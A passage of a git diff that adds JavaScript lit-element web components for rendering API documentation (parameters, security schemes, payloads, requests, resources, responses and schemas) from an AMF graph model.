'./ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ + +export const queryParameter = Symbol('queryParameter'); +export const querySchema = Symbol('querySchema'); +export const parameterValue = Symbol('parameterValue'); +export const schemaValue = Symbol('schemaValue'); +export const computeParamType = Symbol('computeParamType'); +export const typeLabelValue = Symbol('typeLabelValue'); + +/** + * A web component that renders the documentation for a single request / response parameter. + */ +export default class ApiParameterDocumentElement extends ApiDocumentationBase { + static get styles() { + return [MarkdownStyles, commonStyles, schemaStyles, elementStyles]; + } + + /** + * @returns {ApiParameter} + */ + get parameter() { + return this[parameterValue]; + } + + /** + * @param {ApiParameter} value + */ + set parameter(value) { + const old = this[parameterValue]; + if (old === value) { + return; + } + this[parameterValue] = value; + this.processGraph(); + } + + constructor() { + super(); + /** @type {ApiParameter} */ + this[parameterValue] = undefined; + /** @type {ApiShapeUnion} */ + this[schemaValue] = undefined; + /** @type {string} */ + this[typeLabelValue] = undefined; + } + + /** + * Prepares the values to be rendered. + */ + async processGraph() { + const { parameter } = this; + if (!parameter) { + return; + } + this[querySchema](); + this[computeParamType](); + await this.requestUpdate(); + } + + /** + * Reads the schema from the parameter. + */ + [querySchema]() { + this[schemaValue] = undefined; + const param = this[parameterValue]; + if (!param || !param.schema) { + return; + } + this[schemaValue] = param.schema; + } + + /** + * Computes the schema type label value to render in the type view. + */ + [computeParamType]() { + const schema = this[schemaValue]; + const label = readPropertyTypeLabel(schema); + this[typeLabelValue] = label; + } + + render() { + const param = this[parameterValue]; + if (!param) { + return html``; + } + const { name, required } = param; + const type = this[typeLabelValue]; + const schema = this[schemaValue]; + return html` +
+
+ ${paramNameTemplate(name, required)} + + ${typeValueTemplate(type)} +
+
+ ${this[descriptionTemplate]()} +
+
+ ${detailsTemplate(schema)} +
+
+ `; + } + + /** + * @return {TemplateResult|string} The template for the parameter description. + */ + [descriptionTemplate]() { + const schema = this[schemaValue]; + if (schema && schema.description) { + return super[descriptionTemplate](schema.description); + } + const param = this[parameterValue]; + return super[descriptionTemplate](param.description); + } +} diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js new file mode 100644 index 0000000..d567892 --- /dev/null +++ b/src/elements/ApiParametrizedSecuritySchemeElement.js @@ -0,0 +1,94 @@ +/* eslint-disable class-methods-use-this */ +import { ns } from '@api-components/amf-helper-mixin'; +import ApiSecurityDocumentElement, { + settingsTemplate, + securityValue, + apiKeySettingsTemplate, + openIdConnectSettingsTemplate, + oAuth2SettingsTemplate, +} from "./ApiSecurityDocumentElement.js"; +import elementStyles from './styles/ParametrizedSecurityElement.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */ +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ + +export const settingsIdValue = Symbol('settingsIdValue'); +export const querySettings = Symbol('querySettings'); +export const settingsValue = Symbol('settingsValue'); +export const mergeSettings = Symbol('mergeSettings'); + +export default class ApiParametrizedSecuritySchemeElement extends ApiSecurityDocumentElement { + static get styles() { + return [...ApiSecurityDocumentElement.styles, elementStyles]; + } + + /** + * @returns {ApiSecuritySettingsUnion|undefined} + */ + get settings() { + return this[settingsValue]; + } + + /** + * @returns {ApiSecuritySettingsUnion|undefined} + */ + set settings(value) { + const old = this[settingsValue]; + if (old === value) { + return; + } + this[settingsValue] = value; + this.requestUpdate(); + } + + constructor() { + super(); + /** @type {ApiSecuritySettingsUnion} */ + this[settingsValue] = undefined; + } + + /** + * @returns {TemplateResult|string} The template for the security settings, when required. + */ + [settingsTemplate]() { + const appliedSettings = this[settingsValue]; + if (!appliedSettings) { + return super[settingsTemplate](); + } + const scheme = this[securityValue]; + const { settings } = scheme; + if (!settings) { + return ''; + } + const { types } = settings; + const mergedSettings = this[mergeSettings](appliedSettings, settings); + + if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) { + return this[apiKeySettingsTemplate](mergedSettings); + } + if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) { + return this[openIdConnectSettingsTemplate](mergedSettings); + } + if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) { + return this[oAuth2SettingsTemplate](/** @type ApiSecurityOAuth2Settings */ (mergedSettings)); + } + return ''; + } + + /** + * @param {ApiSecuritySettingsUnion} applied The settings applied to the current object + * @param {ApiSecuritySettingsUnion} scheme The settings defined in the scheme + * @returns {ApiSecuritySettingsUnion} The merged settings to render. + */ + [mergeSettings](applied, scheme) { + const result = { ...scheme }; + Object.keys(applied).forEach((key) => { + if (['id', 'types', 'additionalProperties'].includes(key)) { + return; + } + result[key] = applied[key]; + }); + return result; + } +} diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js new file mode 100644 index 0000000..75c837d --- /dev/null +++ b/src/elements/ApiPayloadDocumentElement.js @@ -0,0 +1,146 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiPayload.js'; +import { + ApiDocumentationBase, + serializerValue, +} from './ApiDocumentationBase.js'; +import '../../api-schema-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ + +export const queryPayload = Symbol('queryPayload'); +export const queryExamples = Symbol('queryExamples'); +export const payloadValue = Symbol('payloadValue'); +export const examplesValue = Symbol('examplesValue'); +export const processPayload = Symbol('processPayload'); +export const mediaTypeTemplate = Symbol('mediaTypeTemplate'); +export const nameTemplate = Symbol('nameTemplate'); +export const schemaTemplate = Symbol('schemaTemplate'); + +export default class ApiPayloadDocumentElement extends ApiDocumentationBase { + static get styles() { + return [commonStyles, elementStyles]; + } + + /** + * @returns {ApiPayload} + */ + get payload() { + return this[payloadValue]; + } + + /** + * @param {ApiPayload} value + */ + set payload(value) { + const old = this[payloadValue]; + if (old === value) { + return; + } + this[payloadValue] = value; + this.processGraph(); + } + + constructor() { + super(); + /** + * @type {ApiPayload} + */ + this[payloadValue] = undefined; + /** + * @type {ApiExample[]} + */ + this[examplesValue] = undefined; + /** @type Payload */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Payload data. + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[payloadValue] = this[serializerValue].payload(domainModel); + } + await this[processPayload](); + await this.requestUpdate(); + } + + async [processPayload]() { + const { payload } = this; + if (!payload) { + this[examplesValue] = undefined; + return; + } + const { examples } = payload; + if (Array.isArray(examples) && examples.length) { + this[examplesValue] = examples; + } + } + + render() { + const { payload } = this; + if (!payload) { + return html``; + } + // todo: render examples for the payload. + return html` + ${this[nameTemplate]()} + ${this[mediaTypeTemplate]()} + ${this[schemaTemplate]()} + `; + } + + /** + * @return {TemplateResult|string} The template for the payload mime type. + */ + [mediaTypeTemplate]() { + const { payload } = this; + const { mediaType } = payload; + if (!mediaType) { + return ''; + } + return html` +
+ + ${mediaType} +
+ `; + } + + /** + * @return {TemplateResult|string} The template for the payload name + */ + [nameTemplate]() { + const { payload } = this; + const { name } = payload; + if (!name) { + return ''; + } + return html` +
${name}
+ `; + } + + /** + * @return {TemplateResult} The template for the payload's schema + */ + [schemaTemplate]() { + const { payload } = this; + const { schema, mediaType } = payload; + if (!schema) { + return html`
Schema is not defined for this payload.
`; + } + return html` + + `; + } +} diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js new file mode 100644 index 0000000..0f3e86a --- /dev/null +++ b/src/elements/ApiRequestDocumentElement.js @@ -0,0 +1,292 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js'; +import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js'; +import '@anypoint-web-components/anypoint-item/anypoint-item.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiRequest.js'; +import '../../api-payload-document.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiRequest} ApiRequest */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ +/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */ + +export const queryRequest = Symbol('queryRequest'); +export const requestValue = Symbol('requestValue'); +export const queryPayloads = Symbol('queryPayloads'); +export const payloadsValue = Symbol('payloadsValue'); +export const payloadValue = Symbol('payloadValue'); +export const queryParamsTemplate = Symbol('queryParamsTemplate'); +export const headersTemplate = Symbol('headersTemplate'); +export const cookiesTemplate = Symbol('cookiesTemplate'); +export const payloadTemplate = Symbol('payloadTemplate'); +export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); +export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); + +/** + * A web component that renders the documentation page for an API request object. + */ +export default class ApiRequestDocumentElement extends ApiDocumentationBase { + static get styles() { + return [commonStyles, elementStyles]; + } + + /** + * @returns {boolean} true when has cookie parameters definition + */ + get hasCookieParameters() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.cookieParameters) && !!request.cookieParameters.length; + } + + /** + * @returns {boolean} true when has headers parameters definition + */ + get hasHeaders() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.headers) && !!request.headers.length; + } + + /** + * @returns {boolean} true when has query parameters definition + */ + get hasQueryParameters() { + const request = this[requestValue]; + if (!request) { + return false; + } + return Array.isArray(request.queryParameters) && !!request.queryParameters.length; + } + + /** + * @returns {ApiPayload|undefined} + */ + get [payloadValue]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return undefined; + } + if (!mimeType) { + return payloads[0]; + } + return payloads.find((item) => item.mediaType === mimeType); + } + + /** + * @returns {ApiRequest} + */ + get request() { + return this[requestValue]; + } + + /** + * @param {ApiRequest} value + */ + set request(value) { + const old = this[requestValue]; + if (old === value) { + return; + } + this[requestValue] = value; + this.processGraph(); + } + + static get properties() { + return { + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the cookies section + */ + cookiesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the payload section + */ + payloadOpened: { type: Boolean, reflect: true }, + /** + * The currently selected media type for the payloads. + */ + mimeType: { type: String, reflect: true }, + }; + } + + constructor() { + super(); + /** + * @type {ApiRequest} + */ + this[requestValue] = undefined; + /** + * @type {ApiPayload[]} + */ + this[payloadsValue] = undefined; + /** @type {string} */ + this.mimeType = undefined; + /** @type {boolean} */ + this.headersOpened = undefined; + /** @type {boolean} */ + this.payloadOpened = undefined; + /** @type {boolean} */ + this.cookiesOpened = undefined; + /** @type {boolean} */ + this.parametersOpened = undefined; + /** @type Request */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[requestValue] = this[serializerValue].request(domainModel); + } + this.mimeType = undefined; + await this[queryPayloads](); + await this.requestUpdate(); + } + + async [queryPayloads]() { + const { request } = this; + if (!request || !request.payloads.length) { + this[payloadsValue] = undefined; + return; + } + this[payloadsValue] = request.payloads; + } + + /** + * @param {Event} e + */ + [mediaTypeSelectHandler](e) { + const select = /** @type AnypointListbox */ (e.target); + const mime = String(select.selected); + this.mimeType = mime; + } + + render() { + const { request } = this; + if (!request) { + return html``; + } + return html` + ${this[descriptionTemplate](request.description)} + ${this[queryParamsTemplate]()} + ${this[headersTemplate]()} + ${this[cookiesTemplate]()} + ${this[payloadTemplate]()} + `; + } + + /** + * @return {TemplateResult|string} The template for the query parameters + */ + [queryParamsTemplate]() { + if (!this.hasQueryParameters) { + return ''; + } + const { request } = this; + const content = request.queryParameters.map((id) => this[schemaItemTemplate](id)); + return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + if (!this.hasHeaders) { + return ''; + } + const { request } = this; + const content = request.headers.map((id) => this[schemaItemTemplate](id)); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the cookies list section + */ + [cookiesTemplate]() { + if (!this.hasCookieParameters) { + return ''; + } + const { request } = this; + const content = request.cookieParameters.map((id) => this[schemaItemTemplate](id)); + return this[paramsSectionTemplate]('Cookies', 'cookiesOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload section + */ + [payloadTemplate]() { + const payload = this[payloadValue]; + if (!payload) { + return ''; + } + const content = html` + ${this[payloadSelectorTemplate]()} + + `; + return this[paramsSectionTemplate]('Request body', 'payloadOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload media type selector. + */ + [payloadSelectorTemplate]() { + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || payloads.length < 2) { + return ''; + } + const mime = []; + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + } + }); + if (!mime.length) { + return ''; + } + const mimeType = this.mimeType || mime[0]; + return html` +
+ + + + ${mime.map((type) => html`${type}`)} + + +
+ `; + } +} diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js new file mode 100644 index 0000000..c58b6c6 --- /dev/null +++ b/src/elements/ApiResourceDocumentationElement.js @@ -0,0 +1,326 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import elementStyles from './styles/ApiResource.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import '../../api-operation-document.js' +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ + +export const operationIdValue = Symbol('operationIdValue'); +export const queryEndpoint = Symbol('queryEndpoint'); +export const queryServers = Symbol('queryServers'); +export const endpointValue = Symbol('endpointValue'); +export const serversValue = Symbol('serversValue'); +export const serverIdValue = Symbol('serverIdValue'); +export const urlValue = Symbol('urlValue'); +export const computeUrlValue = Symbol('computeUrlValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const urlTemplate = Symbol('urlTemplate'); +export const operationsTemplate = Symbol('operationsTemplate'); +export const operationTemplate = Symbol('operationTemplate'); +export const parametersTemplate = Symbol('parametersTemplate'); +export const operationIdChanged = Symbol('operationIdChanged'); + +/** + * A web component that renders the documentation page for an API resource built from + * the AMF graph model. + */ +export default class AmfResourceDocumentationElement extends ApiDocumentationBase { + static get styles() { + return [elementStyles, commonStyles, MarkdownStyles]; + } + + /** + * @returns {ApiEndPoint|undefined} + */ + get endpoint() { + return this[endpointValue]; + } + + /** + * @param {ApiEndPoint} value + */ + set endpoint(value) { + const old = this[endpointValue]; + if (old === value) { + return; + } + this[endpointValue] = value; + this.processGraph(); + } + + /** @returns {string} */ + get operationId() { + return this[operationIdValue]; + } + + /** @param {string} value */ + set operationId(value) { + const old = this[operationIdValue]; + if (old === value) { + return; + } + this[operationIdValue] = value; + this.requestUpdate('operationId', old); + this[operationIdChanged](); + } + + /** @returns {string} */ + get serverId() { + return this[serverIdValue]; + } + + /** @param {string} value */ + set serverId(value) { + const old = this[serverIdValue]; + if (old === value) { + return; + } + this[serverIdValue] = value; + this[computeUrlValue](); + } + + static get properties() { + return { + /** + * The id of the currently selected server to use to construct the URL. + * If not set a first server in the API servers array is used. + */ + serverId: { type: String, reflect: true }, + /** + * When set it scrolls to the operation with the given id, if exists. + * The operation is performed after render. + */ + operationId: { type: String, reflect: true }, + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + }; + } + + constructor() { + super(); + /** + * @type {ApiEndPoint} + */ + this[endpointValue] = undefined; + /** + * @type {ApiServer[]} + */ + this[serversValue] = undefined; + /** + * @type {string} + */ + this[urlValue] = undefined; + + this.parametersOpened = false; + /** + * @type {string} + */ + this.operationId = undefined; + /** @type {EndPoint} */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId, amf } = this; + if (domainModel) { + this[endpointValue] = this[serializerValue].endPoint(domainModel); + } else if (domainId && amf) { + const webApi = this._computeApi(amf); + const model = this._computeEndpointModel(webApi, domainId); + if (model) { + this[endpointValue] = this[serializerValue].endPoint(model); + } + } + await this[queryServers](); + this[computeUrlValue](); + await this.requestUpdate(); + if (this.operationId) { + // this timeout gives few milliseconds for the operations to render. + setTimeout(() => { + // Todo: operations should inform the parent that the view is rendered + // and after that this function should be called. + this.scrollToOperation(this.operationId); + }, 200); + } + } + + /** + * Scrolls the view to the operation, when present in the DOM. + * @param {string} id The operation domain id to scroll into. + */ + scrollToOperation(id) { + const elm = this.shadowRoot.querySelector(`api-operation-document[data-domain-id="${id}"]`); + if (!elm) { + return; + } + elm.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + } + + /** + * Scrolls to the selected operation after view update. + */ + async [operationIdChanged]() { + await this.updateComplete; + const { operationId } = this; + if (operationId) { + this.scrollToOperation(operationId); + } else { + this.scrollIntoView({block: 'start', inline: 'nearest', behavior: 'smooth'}); + } + } + + /** + * Queries for the current servers value. + */ + async [queryServers]() { + this[serversValue] = undefined; + const { domainId } = this; + const endpointId = this[endpointValue] && this[endpointValue].id; + const servers = this._getServers({ + endpointId, + methodId: domainId, + }); + if (Array.isArray(servers) && servers.length) { + this[serversValue] = servers.map(server => this[serializerValue].server(server)); + } + } + + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + const servers = this[serversValue]; + const endpoint = this[endpointValue]; + const serverId = this[serverIdValue]; + let result = ''; + let server; + if (Array.isArray(servers) && servers.length) { + if (serverId) { + server = servers.find((item) => item.id === serverId); + } else { + [server] = servers; + } + } + if (server) { + result += server.url; + if (result.endsWith('/')) { + result = result.substr(0, result.length - 1); + } + } + if (endpoint) { + let { path='' } = endpoint; + if (path[0] !== '/') { + path = `/${path}`; + } + result += path; + } + if (!result) { + result = '(unknown path)'; + } + this[urlValue] = result; + } + + render() { + if (!this[endpointValue]) { + return html``; + } + return html` + ${this[titleTemplate]()} + ${this[descriptionTemplate](this[endpointValue].description)} + ${this[urlTemplate]()} + ${this[parametersTemplate]()} + ${this[operationsTemplate]()} + `; + } + + /** + * @returns {TemplateResult|string} The template for the Operation title. + */ + [titleTemplate]() { + const endPoint = this[endpointValue]; + const { name, path } = endPoint; + const label = name || path; + if (!label) { + return ''; + } + return html` +
+
+ ${label} +
+

API endpoint

+
+ `; + } + + /** + * @returns {TemplateResult} The template for the operation's URL. + */ + [urlTemplate]() { + const url = this[urlValue]; + return html` +
+
${url}
+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the list of operations. + */ + [operationsTemplate]() { + const endPoint = /** @type ApiEndPoint */ (this[endpointValue]); + const { operations } = endPoint; + if (!operations.length) { + return ''; + } + return html` + ${operations.map((operation) => this[operationTemplate](operation))} + `; + } + + /** + * @param {ApiOperation} operation The graph id of the operation. + * @returns {TemplateResult} The template for the API operation. + */ + [operationTemplate](operation) { + const { serverId } = this; + return html``; + } + + /** + * @return {TemplateResult|string} The template for the endpoint's URI params. + */ + [parametersTemplate]() { + const endPoint = /** @type ApiEndPoint */ (this[endpointValue]); + const { parameters } = endPoint; + if (!parameters.length) { + return ''; + } + const content = parameters.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('URI parameters', 'parametersOpened', content); + } +} diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js new file mode 100644 index 0000000..a46580b --- /dev/null +++ b/src/elements/ApiResponseDocumentElement.js @@ -0,0 +1,235 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js'; +import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js'; +import '@anypoint-web-components/anypoint-item/anypoint-item.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiResponse.js'; +import '../../api-payload-document.js'; +import '../../api-parameter-document.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ +/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */ + +export const queryResponse = Symbol('queryResponse'); +export const responseValue = Symbol('responseValue'); +export const queryPayloads = Symbol('queryPayloads'); +export const payloadsValue = Symbol('payloadsValue'); +export const payloadValue = Symbol('payloadValue'); +export const headersTemplate = Symbol('headersTemplate'); +export const payloadTemplate = Symbol('payloadTemplate'); +export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); +export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); + +/** + * A web component that renders the documentation page for an API response object. + */ +export default class ApiResponseDocumentElement extends ApiDocumentationBase { + static get styles() { + return [commonStyles, elementStyles, MarkdownStyles]; + } + + /** + * @returns {boolean} true when has headers parameters definition + */ + get hasHeaders() { + const response = this[responseValue]; + if (!response) { + return false; + } + return Array.isArray(response.headers) && !!response.headers.length; + } + + /** + * @returns {ApiPayload|undefined} + */ + get [payloadValue]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return undefined; + } + if (!mimeType) { + return payloads[0]; + } + return payloads.find((item) => item.mediaType === mimeType); + } + + static get properties() { + return { + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the payload section + */ + payloadOpened: { type: Boolean, reflect: true }, + /** + * The currently selected media type for the payloads. + */ + mimeType: { type: String, reflect: true }, + }; + } + + /** + * @returns {ApiResponse} + */ + get response() { + return this[responseValue]; + } + + /** + * @param {ApiResponse} value + */ + set response(value) { + const old = this[responseValue]; + if (old === value) { + return; + } + this[responseValue] = value; + this.processGraph(); + } + + constructor() { + super(); + /** + * @type {ApiResponse} + */ + this[responseValue] = undefined; + /** + * @type {ApiPayload[]} + */ + this[payloadsValue] = undefined; + /** + * @type {string} + */ + this.mimeType = undefined; + + this.headersOpened = false; + this.payloadOpened = false; + /** @type Response */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Response data. + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[responseValue] = this[serializerValue].response(domainModel); + } + this[queryPayloads](); + await this.requestUpdate(); + } + + [queryPayloads]() { + const { response } = this; + if (!response || !Array.isArray(response.payloads) || !response.payloads.length) { + this[payloadsValue] = undefined; + return; + } + this[payloadsValue] = response.payloads; + } + + /** + * @param {Event} e + */ + [mediaTypeSelectHandler](e) { + const select = /** @type AnypointListbox */ (e.target); + const mime = String(select.selected); + this.mimeType = mime; + } + + render() { + if (!this[responseValue]) { + return html``; + } + return html` + ${this[descriptionTemplate](this[responseValue].description)} + ${this[headersTemplate]()} + ${this[payloadTemplate]()} + `; + } + + /** + * @return {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + if (!this.hasHeaders) { + return ''; + } + const { response } = this; + const content = response.headers.map((id) => this[schemaItemTemplate](id)); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload section + */ + [payloadTemplate]() { + const payload = this[payloadValue]; + if (!payload) { + return ''; + } + const content = html` + ${this[payloadSelectorTemplate]()} + + `; + return this[paramsSectionTemplate]('Response body', 'payloadOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the payload media type selector. + */ + [payloadSelectorTemplate]() { + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || payloads.length < 2) { + return ''; + } + const mime = []; + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + } + }); + if (!mime.length) { + return ''; + } + const mimeType = this.mimeType || mime[0]; + return html` +
+ + + + ${mime.map((type) => html`${type}`)} + + +
+ `; + } +} diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js new file mode 100644 index 0000000..878858a --- /dev/null +++ b/src/elements/ApiSchemaDocumentElement.js @@ -0,0 +1,818 @@ +/* eslint-disable no-plusplus */ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { classMap } from "lit-html/directives/class-map"; +import { ns } from '@api-components/amf-helper-mixin'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { ApiExampleGenerator, ApiSchemaGenerator } from '@api-components/api-schema'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; +import { chevronRight } from '@advanced-rest-client/arc-icons'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiSchema.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import { readPropertyTypeLabel } from '../lib/Utils.js'; +import { + detailsTemplate, + paramNameTemplate, + typeValueTemplate, + fileDetailsTemplate, + scalarDetailsTemplate, + unionDetailsTemplate, +} from './SchemaCommonTemplates.js'; +import { + ApiDocumentationBase, + serializerValue, + descriptionTemplate, +} from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSchemaShape} ApiSchemaShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ + +export const mimeTypeValue = Symbol('mimeTypeValue'); +export const querySchema = Symbol('querySchema'); +export const examplesValue = Symbol('examplesValue'); +export const evaluateExamples = Symbol('evaluateExamples'); +export const evaluateExample = Symbol('evaluateExample'); +export const schemaValue = Symbol('schemaValue'); +export const expandedValue = Symbol('expandedValue'); +export const selectedUnionsValue = Symbol('unionsValue'); +export const processSchema = Symbol('processSchema'); +export const titleTemplate = Symbol('titleTemplate'); +export const expandHandler = Symbol('expandHandler'); +export const expandKeydownHandler = Symbol('expandKeydownHandler'); +export const anyOfSelectedHandler = Symbol('anyOfSelectedHandler'); +export const schemaContentTemplate = Symbol('schemaContentTemplate'); +export const scalarShapeTemplate = Symbol('scalarSchemaTemplate'); +export const nodeShapeTemplate = Symbol('nodeShapeTemplate'); +export const unionShapeTemplate = Symbol('unionSchemaTemplate'); +export const fileShapeTemplate = Symbol('fileShapeTemplate'); +export const schemaShapeTemplate = Symbol('schemaShapeTemplate'); +export const arrayShapeTemplate = Symbol('arrayShapeTemplate'); +export const tupleShapeTemplate = Symbol('tupleShapeTemplate'); +export const anyShapeTemplate = Symbol('anyShapeTemplate'); +export const shapePropertyTemplate = Symbol('shapePropertyTemplate'); +export const shapePropertyWithoutRangeTemplate = Symbol('shapePropertyWithoutRangeTemplate'); +export const anyOfUnionTemplate = 